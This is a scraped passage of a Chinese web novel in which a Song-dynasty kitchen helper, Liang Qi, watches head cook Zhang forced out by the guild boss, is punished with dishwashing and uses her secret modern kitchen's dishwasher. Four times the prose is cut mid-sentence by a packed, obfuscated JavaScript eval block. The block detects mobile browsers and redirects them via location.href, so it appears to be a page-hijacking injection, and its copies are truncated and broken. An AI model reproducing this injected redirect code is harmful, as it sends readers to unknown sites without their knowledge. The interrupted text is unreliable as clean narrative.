厨司的厨子，哪怕不是铛头儿，地位和工钱在白席人中也算佼佼者，连每个司局的管事都比不上，也只有司长和局长能与之媲美。 只是看王礼备菜就能瞧出他的水平，厨艺甚至都没采荷高，怎么可能当得上大厨？ 梁琪再一想，就想到了什么了不得的事，差点忘记厨司的司长姓什么。 王司长，王礼，这不就对上了。 当然这只是梁琪私下的猜测，猜测而已，不必声张。 郭府对宴席的要求很接地气，要菜硬量大，对菜式的精致上并无过多嘱托，因此备菜工作不算太难，大多是家常菜。 备完菜没多久，张铛头儿和两个厨子来做菜了。 张铛头儿昨儿回了趟家，还带来礼物来，给梁琪两人一个人一盒自家酿的槐花蜜。 “前短时间正是槐花盛开的季节，我家那院中有颗槐树长势喜人，内子在家闲来无事，便酿了不少花蜜，想着你们两个小丫头定爱食甜，便带来送你们。” 梁琪和采荷开开心心收下，齐齐欠身：“谢铛头儿，谢张夫人。” “呦，这还有个新来的。”张铛头儿刚看到王礼，“是火夫？” 梁琪赶忙解释说：“是新来的备菜人。” 张铛头儿一愣：“好家伙，厨司第一位备菜小伙儿，对不住啊，我就带了两瓶花蜜。” 王礼先是见了礼，才说：“头一回见铛头儿，原是该我备下见面礼的。” 张铛头儿十分大度地摆摆手，而后操起大勺，开始烹饪。 很快，厨房响起热油爆炒的声音，勾人的香味逐渐飘散出来，炊烟从烟囱里徐徐高升。 四司六局的厨子可不是个轻松的活计，且不说这饭菜一做就是三五日，每日都要做几十道，单是郭家这次要求的“菜硬量大”，就让厨子们不少受累。 梁琪在旁好奇地问：“张铛头儿，这回菜式量大受累，涨工钱了吗？” 张铛头儿在烟雾缭绕中叹了口气：“还是那些，不给涨的。” 他是个爽利人，又乐观地说：“不过若是在这基础上多加菜，那就要额外加工钱了。” 这点梁琪是知道的，若是主家想额外加菜，总把头儿不仅要给大厨加工钱，备菜丫头也是要加工钱的，毕竟多干活了嘛。 真是说什么来什么，眼瞅着厨司这边的烹饪要收尾了，王司长突然来了，说的就是主家要加菜的事。 约莫因为郭员外家的亲戚多，又都是讲究实惠的主儿，四司六局按原先给文人清流的菜品数量准备，竟不太够。 眼瞅着宾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14916608|159075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 客桌上的菜盘见了底，这像什么话？显得主人家不大方，让客人吃不饱。 于是排办司当即找到厨司，商量着要加菜。 张铛头儿也不是第一次干加菜的事了，默认夹菜是要加工钱的，菜品又跟流水线似的急等着上，他便也没多问，就操起锅铲干了起来。 梁琪和采荷也不闲着，她们也都是经验十足的备菜人了，很快就把额外的菜给备了出来。 梁琪细心数着，这回加的菜可不少，大大小小足足加了十二道菜呢。 十二道菜，大厨每道菜的工钱是二十钱，总共是二百四十钱；备菜丫头是每道五文，一共六十文。 这些钱属于增项，是要当场支清的，免得跟工钱弄混。 王司长确实是带着钱来的，当场就数给梁琪、采荷和王礼一人六十文。 轮到张铛头儿了，他把油腻腻的手在抹布上使劲擦了擦，满面笑容地走上前。 王司长却把钱袋子的口一扎，揣进怀中，表情淡定地说：“钱不够了，晚些再给铛头儿送来。” 张铛头儿皱起眉头，指着被收起来的钱袋子：“可里面明明还多着。” 王司长却不似平日里对张铛头儿的敬重，语气颇为不耐烦：“本司说没了就没了。” 这态度极为反常，连梁琪和采荷听到都觉得不可思议。 张铛头儿顿了下，还是妥协了：“行，晚些时候再给我也行。” 梁琪微微蹙眉，余光扫到一旁的王礼，那小伙儿脸上却没有一丝意外。 厨司的活计暂且忙完了，厨房重新安静下来，却隐约透露出不寻常的气息。 郭府给白席人安排的有住处，梁琪和采荷先行回去歇息。 回到居室，采荷就忍不住了：“王司长今日是吃错什么药了？怎的对张铛头儿这般冷待，往常也不是这样啊。” 梁琪“嘘”了声，便把刚才在厨房时的猜测说了出来。 张铛头儿受冷待，可能和王礼有关。 若王礼真是王司长打算提拔的亲信，那张铛头儿肯定是要受打压了。 采荷也不是傻子，略一联想就想清楚了其中的关窍，惊讶地嘴巴都张圆了：“我就说，王司长来的时候，王礼和他悄悄对视了好几眼。” 梁琪说：“我本以为王礼即便意在大厨，是徐徐图之，没想到这么快就露出端倪了。” “王礼的厨艺连我都不如，更别说和你比了，哪就轮到他当厨子了？要提拔也该是梁琪你。”采荷愤愤道，“我还当这件事是上头的矛盾，跟咱们这种底层的备菜丫头没关系，没想到还真影响到咱们的利益了。” 梁琪点头：“且再瞧瞧。” 两个小娘子劳累半天，又思虑半晌，也都累得睁不开眼，干脆沉沉睡去。 不知睡了多久，突然被外面乱糟糟的声音吵醒。 采荷睁开眼，懵懵地问：“出什么事了？” 梁琪在窗口看了一会儿，蹙着眉说道：“似乎说是张铛头儿在把头儿那闹起来了。” 采荷当即困意全无：“把头儿？” 那可是四司六局的一把手！ 19. 借调台盘司 四司六局的总把头儿叫吕成良，人称吕把头儿。 汴京城中人人知晓的四司六局便是他一手创办。 如今汴京城中有不少家四司六局，只有他这一家起源最早、规模也最大，算是除皇家司局外，民间规模最大的一家。 汴京城中其他的司局，要么规模太小，干脆凑不齐四个司、六个局，三司两局也能开张，服务自然没有吕把头儿家的上佳；要么是达官贵人府中自行养起来的司局，论专业程度，更加也不如经验十足的吕把头儿家。 因此这吕把头儿，在汴京城可是响当当的人物。 张铛头儿怎么会跟吕把头儿闹起来了？ “定是因为加菜那二百四十钱。”采荷情急地说。 她们两个备菜丫头，从个人感情上来说还是更偏向张铛头儿。 这位掌勺大厨虽是厨房里的一把手，却从未为难过她们，把她们当小辈侄女看，对其他两位厨子也很友好，他们也愿意亲切地称呼他一声张叔。 现在张叔出事，她们的心也跟着悬起来了。 “走，去瞧瞧。”梁琪说。 两人急忙穿好衣衫，推门而出。 已是傍晚，夕阳映照得人脸皆是有些发红，喧哗声是从后院角门处传来的。 好在郭宅的宾客已经散去，后院的闹剧也没叫主家知晓。 梁琪两人匆匆赶去时，就见张铛头儿和吕把头儿正对峙着，前者脸都气得涨红了，后者则是面色阴沉，一言不发。 “怎么回事？”周围聚集了不少白席人，梁琪低声问相熟的火夫。 那火夫到得早，王司长说要加菜时他刚好在厨房烧火，故而知道来龙去脉。 便说：“铛头儿一直没等到王司长送钱来，傍晚时便亲自去找王司长讨钱，谁知道王司长竟说是总把头儿不让给，让不管有何事，皆去找把头儿问询就是。” 四司六局的规定也是一早定下的，张铛头儿明明受累加做了那么多菜，却四处讨要不到工钱，放在谁身上能不生气？ 假使换做一个曲意逢迎之人，就当这钱孝敬把头儿了，花钱保平安，顺便巴结一下上司，可偏偏张铛头儿是个性子刚烈的人，当即就去找把头儿讨说法。 梁琪又问：“那把头儿为何不给呢？” 从前没出过这样的事啊，区区二百多钱，对把头儿来说简直是九牛一毛。 火夫摇头：“那就不得而知了，许是铛头儿大庭广众下讨钱，伤了把头儿的颜面吧。” 那边，张铛头儿已经彻底失去耐心：“吕把头儿，你今儿就说句实话，为何扣着我的钱不给？” 吕把头儿依旧是轻飘飘的语气：“我扣着你的钱？尚未到发工钱的时候，何来扣着你的钱不给？” 这是不承认加菜了。 张铛头儿看向王司长，王司长却把脸转向吕把头儿，躬身说：“厨司今日并无加菜。” 好啊，串通起来了。 张铛头儿觉得周围人看自己像看无理取闹的疯子，脖子都涨红了，有理也成了没理：“好，好一个四司六局，是我白长一双眼，竟没看清是个脏鼠窝！” 加菜的事当时厨房里的人都知晓，梁琪、采荷、王礼，还有一个烧火的火夫。 只是这当口上没人敢站出来替铛头儿作证，得罪总把头儿，这四司六局还待得下去？ 梁琪犹豫再三，觉得手心都冒汗了，她虽然有自己的小生意，可到底连间铺子都没有，可司局才是正儿八经的行当，万万丢不得。 但也不能当个睁眼说瞎话的人。 打定主意，她迈出一步，声音清脆道：“厨司今日明明加了十二道菜。” 众人一愣，连忙去寻这声音的主人，把头儿和司长的威压下，谁还敢站出来作证？ 张铛头儿猛的看过去，竟是梁琪，纤瘦弱小的丫头，此刻竟让他乍然红了眼眶。 吕把头儿问：“你在瞎说什么？” 平淡的声音，却让人听出了威胁的意味。 不过是个备菜丫头而已，顺手就能料理。 张铛头儿喝了声：“闭嘴，这里没你说话的份儿。” 梁琪还想说什么，却被采荷一把拉住，把头儿连掌勺大厨都能打压，要处置小小备菜丫头可太容易了。 张铛头儿深深舒出一口气：“吕把头儿手下人才济济，我也上了年纪，这就退位让贤。” 在场的人皆是吃了一惊，张铛头儿竟是要离开四司六局。 吕把头儿竟也没有丝毫挽留：“既然如此，就全了你的心愿。” 事情到了这个程度，张铛头儿反而如释重负起来，最后说一句：“厨司的铛头儿之位是重中之重，望把头儿一定要提拔厨艺过关之人，否则，想想司局的名声吧。” 说完，便大步走出人群，回厨房收拾自己的行礼去了。 梁琪走进厨房时，看到张铛头儿一个人在收拾厨具，身影有些孤单和落寞。 她想叫张铛头儿的，想到今日的变故，又改了口：“张叔，你就这么离开司局了？其实为了两百文，大可不必。” “不是为了两百钱。”张铛头儿大名张德发，苦笑一声，“都怪我神经大条，没想明白原委，那吕把头儿本身就是要赶我走的啊。” “这究竟是怎么回事。”梁琪都被说晕了，“您和吕把头儿是何时结的怨？” 张德发便细细说了。 原来两人的矛盾在好些时日前就埋下了。 当时于府的宴席刚刚结束，吕把头儿狠赚了一笔，张铛头儿也拿了不少工钱，自然要给家中的妻儿买物件。 吕把头儿的夫人一早看中了珍楼里一支赤金珐琅彩的妆奁。 只是那妆奁中的簪子尚有瑕疵，伙计说要请金匠修缮一番。 谁知等修缮好，吕夫人再去买时，那簪子已经被人买走了，买主正是张德发的夫人。 “内子买妆奁是为小女攒嫁妆，也是事后才从旁的夫人那里得知，那首饰是吕夫人一早看上的。” 梁琪觉得事情耳熟，想起前两日自己去珍楼，三楼不是就有一位吕夫人在搅闹不休？ 现在想来，正是吕那头儿的夫人，当时她还说吕夫人既然没交定钱，那妆奁合该自由买卖。 张德发叹了口气：“内子心细周全，知道我在吕把头儿的手下讨生活，本意是想将簪子退回去的，可一来小女喜欢得紧，二来也是我粗枝大叶，觉得吕夫人应该不会计较至此，便驳了内子的想法。” 梁子就是这么结下的，为了一套首饰。 真不知道该夸吕把头儿对夫人言听计从，还是说他对四司六局儿戏。 张叔多好的铛头儿啊，失了他，厨司一时去哪找得力的铛头儿？ 难不成那王礼还真有资格当上铛头儿？ 张德发收好了自己的厨具，装进包袱皮中背在身后：“昨日内子带着小女去城东郊游，在官道上遇见一马车故意挡路，便是吕夫人的马车，她便知吕夫人是个心胸狭隘的。” 他自嘲一笑：“我这人只会做饭，脑子不好使，一开始被扣下工钱时还没闹明白是怎么回事，刚才在角门，突然想清楚原委了，不就是公报私仇吗？老子不在这受这窝囊气了。” 梁琪点头：“这样也好，免得受气，只是张叔乃家门顶梁柱，可想好去何处谋生了吗？” “尚未。”张德发摇摇头，旋即乐观道，“本铛头儿一身本事，何愁找不到谋生的活计。” 梁琪笑说：“正是。” “倒是你。”张德发担忧地说，“方才为我仗义执言得罪了人，可要小心。” “谢张叔提醒。”梁琪点点头，“您最后那句话，也是在为我谋划吧。” 最后那句莫要让铛头儿一职，败坏了四司六局的名声，的确是张德发为梁琪找补的。 在他看来，梁琪有多年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14927757|159075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的备菜手艺，前段时间在李府和于府也崭露了厨艺天赋，实在是个极好的苗子，不该一直处在备菜丫头的位置上。 “只是我这将走之人，说的话未必管用。” 他真后悔没早早提拔梁琪到厨子的位置上。 梁琪也爽朗地笑了笑：“无妨，是金子早晚会发光，哪怕汴京城金碧辉煌。” “是这个理儿。” 张德发笑了笑，最后看了眼熟悉的厨房和灶台，转身离去。 厨房重又安静下来，那两瓶槐花蜜尚在台案上放着。 翌日，郭家的宴席继续。 白席人仍然紧张忙碌地各司其职，好似走了一个铛头儿，没有任何不一样。 厨房里仍旧是三个备菜人的身影，相比于昨日的言笑晏晏，今日的气氛有些沉闷，除了备菜交流，几乎没有俏皮话。 菜快备完时，厨司剩余的两个厨子来烹饪了，没了铛头人支使活计，显得多少有些手忙脚乱。 又过了一盏茶的功夫，王司长也来了。 一来，先是扫视厨子的活儿干得如何，他虽嘴上没说，却下意识皱了下眉，厨房乍然没了领头羊，还真是有些散乱。 他对两个厨子说：“你们也都是司局好些年的老人儿了，单从厨艺上讲，不比张铛头儿差多少，无非就是缺乏历练，现在本司给你们历练的机会，给我挑起大梁来，切莫让主家看出任何不同。” 那两个厨子虽说跟了张德发好些年，不是名义师徒也学了不少东西，对于张德发的离开是有些兔死狗烹之感，可为了生计，不得不忍气吞声，在王司长面前表决心。 王司长“动员”完厨子，又转而看向三个备菜人，目光扫视一圈，最后落在王礼身上。 指着他说：“你先顶了厨子的职位。” 梁琪微微抬眼，果不其然，把头儿刚处置了张铛头儿，王礼就上位了。 她寻思着，吕把头儿应该不至于要卖给王司长面子，王礼多半是王司长听到风声后，才起的心思。 中层领导揣摩高层领导的意图后，趁机捞取自己的利益，这套路太常见了。 采荷几乎下意识反驳：“凭什么？即便是提拔厨子，也该是梁琪。” 她对上王司长冷峻的双眼，下意识瑟缩了下肩膀，竟没有退缩，继而壮着胆子说：“在李府时，梁琪就因为调制的枣泥馅儿获主家赏，更因一道五谷渔粉为厨司解了危机，在于府更是得到老相公的亲自传唤，这些司长不是不知道。” 亏得在李府时她拿了赏钱，还觉得这王司长是好人。 不过是因为梁琪帮他度过了难关，现在到了利益面前，“好人”就丑态毕露了。 这回换做梁琪拉住采荷，张德发不愿意拖累她，同理，她也不想连累采荷。 王司长冷笑一声：“梁琪嘛，吕把头儿亲自交代了，对这丫头有额外的安排。” 梁琪听到吕把头儿就心知不好，方才在角门处替张叔辩驳的那句，还是被把头儿记恨上了。 果不其然，王司长说：“台盘司近日总说缺人手，梁小娘子既然忙完了备菜的活儿，就暂且借给台盘司调用吧。” 四司六局中，各司局之间相互调用人手的事也不是没有过。 例如帐设司晨起时最忙，却恰恰是台盘司最清闲的时候，帐设司便经常向台盘司借用人手，到了傍晚又到了台盘司忙碌的时候，就反过来借用帐设司的人来帮忙。 正因为有这种先例，所以把头儿和司长才有恃无恐地把梁琪借调给台盘司，说白了就是要整治她的多嘴，给小丫头个教训。 梁琪心里虽有气，却仍选择接受。 她不是张德发那种性子，受了窝囊气会选择一走了之，眼不见心不烦。 她心眼小，在哪受了气，即便是要离开，也要在那使劲啃人家一口再离开。 不就是去台盘司刷碗吗？全扔进洗碗机不就好了。 20. 洗碗机 郭宅后院厨房的西侧，有处三开间的瓦房，平日里用来堆放杯碟碗盏、陶罐瓦盆之类。 因离院中的水井不远，现而被台盘司用着。 已经接近宴席的尾声，紧接着就会有大量的脏污碗盏从前厅撤回来，需要台盘司的洗碗匠来清洗。 梁琪被带到屋子里时，屋里需要清洗的杯盏已经在缸中摞起来了，是开席前宾客喝酒饮茶使用过的杯盏。 满满两大缸脏污杯盏，只有一个小娘子在清洗，加上梁琪也不过才两个人。 也不知道台盘司是真缺人，还是故意给她累受。 还能怎么办，洗吧。 梁琪挽起袖子，象征性地往陶盆里舀了一瓢水，正要下手，一旁的那小娘子突然递过来一只肉丸一样深褐色的东西。 “要用皂球。” 梁琪知道，这是宋代的洗涤剂，是用皂荚提炼出来的皂油，佐以各种香料搓成的，能用来洗手、洗衣裳，也能洗碗。 她接过那皂角闻了闻，一股茉莉花的香气，左右嘴巴闲着无聊，便没话找话说：“你们台盘司还挺讲究，洗个碗还用茉莉皂球，我家里都用不上带香料的，似乎只有富家的小娘子、小官人才讲究香味。” 那小娘子有些内向，闷闷地说：“我用习惯了。” 梁琪瞧那小娘子长得白白净净，在四司六局的白席人中，也算模样清秀了，瞧年纪不会超过二十岁。 便想起莹姐儿来，絮絮叨叨地说：“你瞧着比我妹妹大些，那丫头的性子也有些闷，话少，不过她脑袋瓜很聪明，九章算术里的难题一看就会，想来你也是个内里聪明的。” 那小娘子比梁莹还闷，梁琪絮絮说了那么多，她也就回了一句：“快些洗吧。” “急什么。”梁琪越瞅越觉得这小娘子和莹姐儿的性子如出一辙，更是起了逗趣儿的心思，“反正还有一大波脏污碗盏正在靠近，咱们铁定是要洗到天黑了……” 她正自顾自地说着，忽然听到旁边那小娘子呜呜咽咽地啜泣起来。 梁琪：“……” 她把人家吓哭了？ 她有些手足无措地站起来：“你怎么哭了？我说错什么了吗？就算洗到晚上，也用不着哭啊。” 那小娘子掩着面，觉得让人看到自己哭很难为情，可又实在忍不住。 哽咽着说：“我不是因为干活才哭的，是因为想到母亲。” 梁琪忙问：“令慈如何了？” 小娘子也是情难自持，也不管眼前这人是否熟识，一股脑儿地把心里话倒了出来。 “母亲得了重病，需要人来照料，家中遭逢变故，已无亲眷，而我又不得不出来做活儿赚钱，否则连给母亲抓药的钱都没有。” “原本洗完这些碗盏我就要回家给母亲做饭、喂药，可这回郭家的菜品太多了，所费碗盏也多，竟要洗到入夜，我一想到母亲独自在家，就……” 说着，又伤心地呜咽起来。 “是这样啊。”梁琪深表同情，换做是她，她也要着急。 她正愁支不开人呢，不如趁机做个好事，便说：“这里交给我，你现在就赶回家照顾你母亲去。” 小娘子愣愣地抬起头，白嫩的脸上还挂着泪痕，皮肤一点都不像是受苦受累的白席人，倒像是某家的千金小姐。 “当真？”她半信半疑地问，“可这里碗盏实在太多了，即便是两个人洗，也要洗到入夜，你一个人洗的话，岂不是要洗到三更？” 梁琪拍拍胸脯：“你放心，我在厨司有好姐妹，她忙完肯定会来帮我。” 小娘子还是不好意思，毕竟她们才刚认识，萍水相逢就呈人家这么大的情，是个人都会不好意思的。 “可是……” “你母亲不能没人照料。”梁琪说，“你若过意不去，日后找机会还我的人情就是，咱们这些底层的白席人，不就是今儿我帮帮你，明儿你帮帮我吗？” 小娘子使劲点点头，起身连着作了好几个福，又非要把水缸挑满，才肯离去。 梁琪哭笑不得地看着快要溢出来的水缸，其实这些水，她根本用不着。 小娘子一走，梁琪就把缸中的杯盏运到智能厨房中，分批扔进洗碗机，加入洗洁精，摁开电源键，花洒头就开始转啊转地工作起来。 当初买厨房电器，这洗碗机是她唯一犹豫的一件，一个人吃饭能有多少脏污的碗筷？用这么大的洗碗机岂不费电又费水？ 谁让她当时败家呢，犹豫一瞬就买了。 这才有了此时此刻的轻松。 别看这洗碗机洗一两个碗筷费电又费水，洗一堆还真是好用，塞得里面满满腾腾，洗干净拿出来时太有成就感了。 洗出来的杯盏一点不比人工洗出来的差，琉璃杯盏透亮，瓷器杯盏光洁，还自带烘干功能，一点水痕都没有。 哦，她的洗洁精还是可食用级别的，柠檬味，比那茉莉味的皂球高档太多。 哼，白给台盘司的人占便宜。 梁琪把洗净的杯盏一一摆放整齐，刚摆好，台盘司的司长就来了。 原本洗碗盏的活儿，是不用劳动司长亲自查验的，想来司长亲临大驾，也是被王司长或是吕把头儿嘱托过的。 司长在洗净的杯盏前一一验看，眼都瞪圆了，竟是半点错误都挑不出来，语气诧异地问：“这都是你洗的？” 确实都是梁琪的洗碗机洗的，但她不能害人家小娘子啊，原本那小娘子的母亲卧病，自己出来赚工钱就够惨了，不能再丢了这份差事。 “我与台盘司的一个小娘子一同洗的，他去挑水了。” 司长才不在意一个洗碗匠，又多扫了眼那些碗盏，才背着手离开。 梁琪觉得要不是自己得罪了把头儿，那司长大约想把自己挖到台盘司来干活。 司长走后，又是一堆杯盘狼藉被运过来，比先前的杯盏还要多。 梁琪也不着急，如法炮制地把所有杯盘碗盏都扔进洗碗机慢慢洗。 顺便在智能厨房中用面包机烤了两片吐司，又从冰箱中取出蓝莓果酱，抹在面包片上夹着吃。 烤得金黄的面包外皮酥脆，里面还是软嫩的，散发出浓浓的奶香和面香，蓝莓果酱则冰冰凉凉，酸甜清爽，吃到口中让人精神为之一振。 即便如此磨蹭，等到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14938564|159075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天擦黑时，所有碗盏也就都洗好了。 恰在这时，采荷举着蜡烛寻了过来，轻声叫道：“梁琪？你在吗？” 梁琪就知道采荷会来寻她，只是没想到这么晚，猜测应该是厨司有事绊住了。 “这儿呢。” 采荷把蜡烛插在烛台上，挽起袖子说：“我帮你一起洗。” 梁琪默不作声，只是笑。 笑得采荷莫名其妙：“被罚到台盘司洗碗，还笑得出来……咦？盆中的污碗呢？” 再看置物架上，满满腾腾晾着的全是干干净净的陶瓷瓦具。 采荷震惊道：“全都洗完了？” 梁琪笑说：“对啊，我干活的速度你是知道的。” 采荷想到梁琪最近的备菜速度，的确快到令人瞠目，而且是又快又好。 又想到从前梁琪帮她干了那么多活儿，心里就过意不去，带着歉意说：“我来晚了，没帮上你，让你自己干了这么多活儿。” “又不是什么重活儿。”梁琪不在意地摆摆手，又说，“我且问你，你在厨司是不是遇上什么事了？” 采荷有些委屈地撇撇嘴：“那个王礼昨日是如何一声声姐姐的叫，你是知道的吧？” 梁琪点点头。 采荷的委屈转化为愤愤：“今日刚当上厨子，就露出本来面目了，一口一个采荷地使唤我，真让人生气。” 梁琪皱起眉：“他竟如此嚣张。” 采荷狠狠地说：“真叫你猜对了，那王礼就是王司长的亲侄子，叔侄俩沆瀣一气，还把挑水的活儿扔给了我！” 梁琪知道采荷为何来这么晚了，合着是在厨司挑水，被王家叔侄俩当丫鬟使唤呢。 这姑娘，被针对也是因为帮自己刺王司长那两句话，饶是这样，刚挑完水还想着来帮自己洗碗。 她心疼地问：“挑完了吗？我去帮你。” 智能厨房有的是自来水，放一晚上能把郭家后院给淹了。 “挑完了挑完了。”采荷忙说，“就是那王司长和王礼太可恶，比先前那马婆子有过之无不及，咱们就这么被他们欺负下去吗？” 那必然不能，梁琪在洗碗的时候都想好了，语气郑重地说：“采荷，我要当铛头儿。” 这话说得大，采荷却先是不管不顾地欣喜了下，她在李府时就觉得梁琪有当铛头儿的资格，在于府更加确信了这一点，凭什么要把机会拱手让给那姓王的？ 欣喜完了，才问：“你想怎么做？” 梁琪申请坚定：“去找吕把头儿。” “啊？” 采荷愣了下，吕把头儿可是正在打压梁琪啊，怎么可能会许诺铛头儿之味。 梁琪敛容说道：“我算看清楚了，这些人个个唯利是图，只要给他们好处，敌人也是能被利用的。” 采荷懂了，既然现在王司长和吕把头儿都要打压她们，那不如直接给权利最高的人利益，和吕把头儿成为一路人，王司长和王礼必然不敢再针对她们。 她眼里闪着即紧张又兴奋的光芒：“你已经有主意了是不是？” 梁琪点头：“明日我就去寻吕把头儿。” 21. 长寿面（一） 翌日，天刚亮。 采荷还在睡着，梁琪就悄默声地起床了。 她知道吕把头儿向来有早起的习惯，拎着他的两只黄鹂鸟在道上遛一圈。 印象中似乎只有上了年纪的人才喜欢遛鸟，但吕把头儿年岁并不十分老，才四十出头，遛鸟约莫是他消遣时间的一种方式。 梁琪在郭宅后院的巷子中“偶遇”吕把头儿时，他手中果然提着一只金丝笼，笼中是两只嫩黄色的黄鹂。 “把头儿。”她停下来行了个叉手礼。 “是你？厨司的备菜丫头。”吕把头儿不苟言笑，面部突出的颧骨让他看起来很精明、冷淡。 相比之下，梁琪那满脸的胶原蛋白就显得柔和多了，笑说：“您好眼力，妾身来寻把头儿，是有一事相求。” 吕把头儿脚步不停，继续往前走：“你不会不记得，昨儿刚当众顶撞了我吧？” “只是替张铛头儿分辨一句，不算顶撞您吧？”梁琪快步跟上，“您和张铛头儿的恩怨我都知道了，您是娘子的好官人，可同时您也是四司六局的总管，也该为司局打算啊。” 昨日在台盘司忙完，回到休息的地方，她就跟白席人打听了吕把头儿的家事。 吕夫人和张夫人争买首饰的事是真，吕把头儿为了给夫人出气，逼走张铛头儿的事也是真，除此之外，还问到一些内情。 原来这吕把头儿的夫人是应天府主薄的女儿，主薄官职虽不算高，大小也是个官，吕把头儿赚得钱财再多，也是民。 因此这地位熟高熟低，可见分晓。 吕把头儿自知夫人娘家的权势，生意场上自然有用得着权势的地方，因此家中夫人说一，他可不敢说二。 即便张铛头儿是厨司的顶梁柱，为着夫人的哭闹，也把人给撤了。 此番打听倒也能得出一个结论：吕把头儿并不是真不顾四司六局声誉的人。 吕把头儿闻言微微勾了勾嘴角，这小丫头挺会说话。 一个男人在外人眼中的形象，在家是好官人，在外是成功的司局总把头儿，心里能不美吗？ 反正一个人遛鸟也无聊，就当听听闲话：“你要说什么？” 梁琪就直说了。 “如今厨司没有铛头儿，虽然另两位厨子也有多年做菜经验，但您昨日也瞧见了，厨房还是手忙脚乱的。” “妾虽然只是个备菜丫头，想必把头儿也听说了，在于府时，我便帮张铛头儿做了两道菜，其中那道羊羹，现今在东京极为风靡，说明妾的厨艺还是能上台面的。” “您虽跟张铛头儿有些过节，但您心里也知道，他的能力没得说，最后那句话也是为了司局考虑，所以……” “所以，我自荐当厨司的铛头儿。” 吕把头儿觉得前面说的还挺有理，听到最后一句话，脸都抽了一下。 就算提拔备菜丫头，那也只是到普通厨子的位置，怎么敢肖想铛头儿之位呢？ 那可是厨司的掌勺大厨。 梁琪只当看不见吕把头儿脸上的不屑神色，继续说：“厨司新提拔上来的厨子叫王礼，且不说只在司局待了两日，就是厨子这个行当，也不见得接触多久，就因为是王司长的侄儿？咱们四司六局什么时候成了裙带窝？” 这事吕把头儿也知晓，虽觉得王司长如此安排不甚妥当，到底没干预厨司的用人，他既然给了司长管理一司的权利，就该用人不疑。 只是那王司长任人唯亲的行径，还是很让他厌烦。 梁琪铺垫了这么多，终于说到自己的打算：“妾不求把头儿立刻信我的厨艺，只求一个机会，妾只为郭员外做一道菜，若能郭员外满意，您再考虑让妾当铛头儿的事。” 吕把头儿在心里琢磨着，一时还真有些犹豫不决。 一方面，他心里虽装着四司六局的前途，更记挂着厨司的铛头儿之位，但区区一个备菜丫头的建议，分量还是没那么足。 另一方面，又觉得这小丫头说的也有些道理，只是试一道菜，又不损失什么。 这小丫头能让李老爷赏，能让于相公夸，说不定有点真本事呢。 汴京城中逐渐壮大起来的四司六局不少，他也确实得为司局用心挑选铛头儿。 梁琪并不急着言语，给吕把头儿足够的时间思考，从怀中摸出一只小巧的瓷罐，打开里面竟散发出食物的香气。 “这是何物？” “鸟食，蒸熟的黄米和肉泥混合而成。”梁琪抬起头问，“可以给黄鹂吃吗？” 吕把头儿点点头。 梁琪把小罐子凑上去，那两只黄鹂鸟闻见香味，活泼地跳过来，小鸡啄米似的吃得欢快。 “它们还挺爱吃。”她笑说。 约莫是氛围比较松快，吕把头儿终究还是松了口：“你便试试吧。” “啊？”梁琪一时没明白试什么。 吕把头儿接过盛着鸟食的小罐，兀自走了，留下一句：“照你刚才说的，做菜试试。” 梁琪露出笑容：“谢把头儿。” - 日上三竿，帐设司已经在前院忙活了。 梁琪回到厨房，采荷也刚到，边穿上荷叶围裙，边低声问：“怎么样？” 梁琪低声回：“成了。” 采荷露出笑容，笑容中带着解气，那王礼小人得志实在太可恶，早日把他放逐了才算完。 正腹诽王礼呢，那厮就背着手进来了，比起前日的谦逊有礼，此刻的姿态之嚣张简直像变了个人。 他和厨司另外两位厨子现如今都是普通厨子，尚且没谁被提拔为铛头儿，因此菜单上的菜都是三人均分着做。 可这王礼太爱表现了，提前来把一部分菜挑选出来，在菜名后面做上自己的标记。 他挑的这些菜，要么是特别容易做出彩的，要么是做起来简单的。 那些即复杂，又不讨好的菜品，他连碰都不碰。 挑选好后，王礼满意地点点头，指着其中一道“浮光跃金”说：“梁琪，采荷，多削些藕片来，削仔细些，藕片要薄厚均匀。” 前日还叫姐姐，今儿就成了“梁琪、采荷”。 梁琪亲眼见识了，真的很难不让人生气。 两个姑娘没一个搭理她，梁琪洗了手，正在和面，这是她自己要给郭员外做的菜，采荷则在腌制鸡块，这道盐酥鸡是菜单上的菜，却并不是王礼挑出来的。 她才不想给王礼备菜。 王礼突然想到什么，又说：“对了梁琪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 